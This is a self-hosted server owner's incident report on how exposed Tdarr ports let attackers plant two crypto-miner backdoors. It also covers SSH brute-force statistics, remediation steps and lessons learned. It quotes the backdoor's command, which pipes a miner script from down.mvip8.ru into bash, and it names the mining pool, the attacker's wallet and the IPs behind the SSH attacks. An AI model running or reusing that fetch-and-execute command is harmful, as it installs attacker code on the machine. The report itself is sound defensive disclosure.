Incident Report: Crypto-Miner Compromise on a Home-Lab Server
Discovered and remediated October 17, 2026 · Self-hosted Docker media server · Written up after the cleanup
Timeline
- May 10Backdoor #1A fake Tdarr plugin is planted. Its file name copies a real audio-codec plugin; inside, it is named "RCE" and pipes a miner install script from
down.mvip8.rustraight into a shell. - Aug 20MiningEarliest surviving log of the XMRig Monero miner running inside Tdarr.
- ~Sep 14Backdoor #2A Tdarr flow named "Flow 0" uses the Run CLI step to download XMRig from GitHub and mine to
xmrpool.eu, re-launching on every transcode job. - Sep 13 – Oct 17BackgroundA constant SSH password-guessing storm, ~9,400 attempts a day, peaking at 27,455 on Sep 30. None succeed.
- Oct 15 – 16ImpactHeaviest mining (13,000+ shares logged). The miner takes ~9 GB RAM and most of the CPU; the network share to the NAS starts timing out, and the monitoring script floods phone notifications with remount alerts.
- Oct 17 (early)FoundInvestigation into the NAS alerts finds
xmrigrunning inside the Tdarr container. Container stopped; evidence preserved. - Oct 17FixedSecond backdoor (the fake plugin) found and removed. Firewall rebuilt, Tdarr bound to localhost, root SSH disabled, fail2ban installed, server rebooted.
- Oct 17, 04:42 UTCLockedSSH removed from the public internet entirely (VPN-only). SSH attack traffic reaching the server drops from thousands a day to zero.
How they got in
Not through a password. Two misconfigurations combined:
- Tdarr was exposed with no authentication. Its web UI and API ports (8265/8266) were published on the public IP. Tdarr is designed for trusted LANs: anyone who can reach it can create plugins and flows, and both can run arbitrary shell commands. That is an open remote-code-execution endpoint by design.
- Docker bypassed the firewall. The server's reverse proxy had access controls, but Docker's published ports go around the host firewall (ufw) by default, because Docker writes its own iptables rules ahead of it. So a service that "should" have been private was reachable from the whole internet.
Internet scanners look for exactly this. Even after the fix, the firewall logged 15 connection attempts to the Tdarr port in about an hour, so someone is still trying.
The two backdoors
| #1: Fake plugin | #2: "Flow 0" | |
|---|---|---|
| Planted | May 10 | ~Sep 14 (mining logged from Aug 20) |
| Disguise | Filename copied from a legit community plugin | Generic default-looking flow name |
| What it ran | curl … down.mvip8.ru/setup_mvip8_miner.sh | bash | Downloads XMRig 6.26.0 from GitHub, mines Monero |
| Mining pool | — | xmrpool.eu:5555 |
| Evidence it ran | No mining logs survive; unknown | 14,114 accepted shares across 192 job logs |
| Status | Removed | Removed |
A sweep of the live Tdarr data and all preserved evidence for xmrig, xmrpool, mvip8, and shell-pipe patterns found nothing else. All miner runs used the same wallet, so it's one operation, not several.
How much did they make?
Almost nothing from this server. The miner logged about 380 hashes/second, slow for Monero. The mining pool publishes per-wallet stats, which give the bigger picture:
So this was one small node in a botnet of hijacked servers, and that botnet is still mining on other victims' machines. The real cost here wasn't money; it was a server running at full load for weeks and a NAS connection that kept dropping.
Attacker wallet (public pool data)
48hz2pmg2xvEhprZsgqiGbFzJcNb7XZmY8nvBUzWyCK8fvuBdYuZnb9MDvLZv7ZTiE7ueuqStxqyP5rh8d5MLwa5RbuLxmX
Meanwhile: the SSH background noise
Separately from Tdarr, SSH was open to the internet and getting hammered by password-guessing bots. Not one attempt succeeded: every login in the logs belongs to the owner.
Failed SSH password attempts per day
Show as table
| Date | Failed attempts |
|---|
Where the attacks came from
The 2,185 IPs behind the failed logins geolocate to 102 countries. By volume, a handful of heavy hitters dominate:
Failed SSH attempts by source country
Show as table
| Country | Attempts | Share | IPs |
|---|
Big volume ≠ many attackers. Turkey's 33,878 attempts came from just 10 IPs, and Pakistan's 26,871 from 6. China had the most distinct machines (324 IPs) but only 2.8% of the volume, and the US had 218. The Netherlands and France lead mostly because they host huge data centers that attackers rent cheaply.
IP location shows where the attacking machine sits, not the person behind it. Most of these are rented cloud servers, VPNs, or other hacked machines. Geolocation via ip-api.com.
Most-guessed usernames
| Username | Attempts |
|---|---|
admin | 9,919 |
ubuntu | 9,720 |
user | 5,669 |
deploy | 3,603 |
test | 2,269 |
debian | 2,266 |
postgres | 1,280 |
Noisiest attackers
| IP | Country | Failed attempts |
|---|---|---|
175.107.244.96 | Pakistan | 26,686 |
176.53.159.198 | Turkey | 15,401 |
176.53.159.197 | Turkey | 14,991 |
195.178.110.30 | Andorra | 6,473 |
109.160.32.43 | Netherlands | 3,534 |
What got fixed
| Problem | Fix |
|---|---|
| Two miner backdoors in Tdarr | Removed; container stopped; evidence archived with the script made non-executable |
| Tdarr reachable from the internet | Bound to localhost only |
| Docker ports bypassing the firewall | DOCKER-USER iptables rules: only 80/443 reach containers from the internet; everything else is dropped |
| Host firewall | ufw enabled, default-deny inbound; verified it survives reboot |
| SSH exposed to the world | SSH now only reachable over the private VPN (Tailscale) |
| Root login over SSH | Disabled |
| Brute-force attempts | fail2ban auto-bans (12 bans in its first hour) |
| NAS share dropping under load | Mount options hardened; monitoring script rewritten to stop alert floods |
Checked and found clean
- Every successful SSH login on record traced to the owner's own devices
- No unauthorized SSH keys planted for any account
- Root command history contains only normal admin work
- No miner code left anywhere in Tdarr's live data
Firewall, first hour after hardening
206 blocked connections from 144 IPs. Top targets: telnet (26), Tdarr 8265 (15), SSH (7), UPnP (6), Minecraft (4).
Lessons
- Docker ignores your firewall by default. If you use ufw with Docker, add
DOCKER-USERrules or bind ports to127.0.0.1. "I have a firewall" isn't true until you've tested it from outside. - Any self-hosted app that can run commands is a root shell if exposed. Tdarr, Jupyter, Node-RED, Home Assistant add-ons, etc. should never face the internet without auth in front of them.
- Put admin access behind a VPN. Moving SSH to Tailscale took the attack count from ~9,400/day to zero instantly.
- Weird symptoms are signals. This was found because a NAS kept disconnecting. High CPU or RAM with no explanation deserves a look at
top. - Check your plugins. Backdoor #1 hid for five months by copying a legitimate plugin's file name.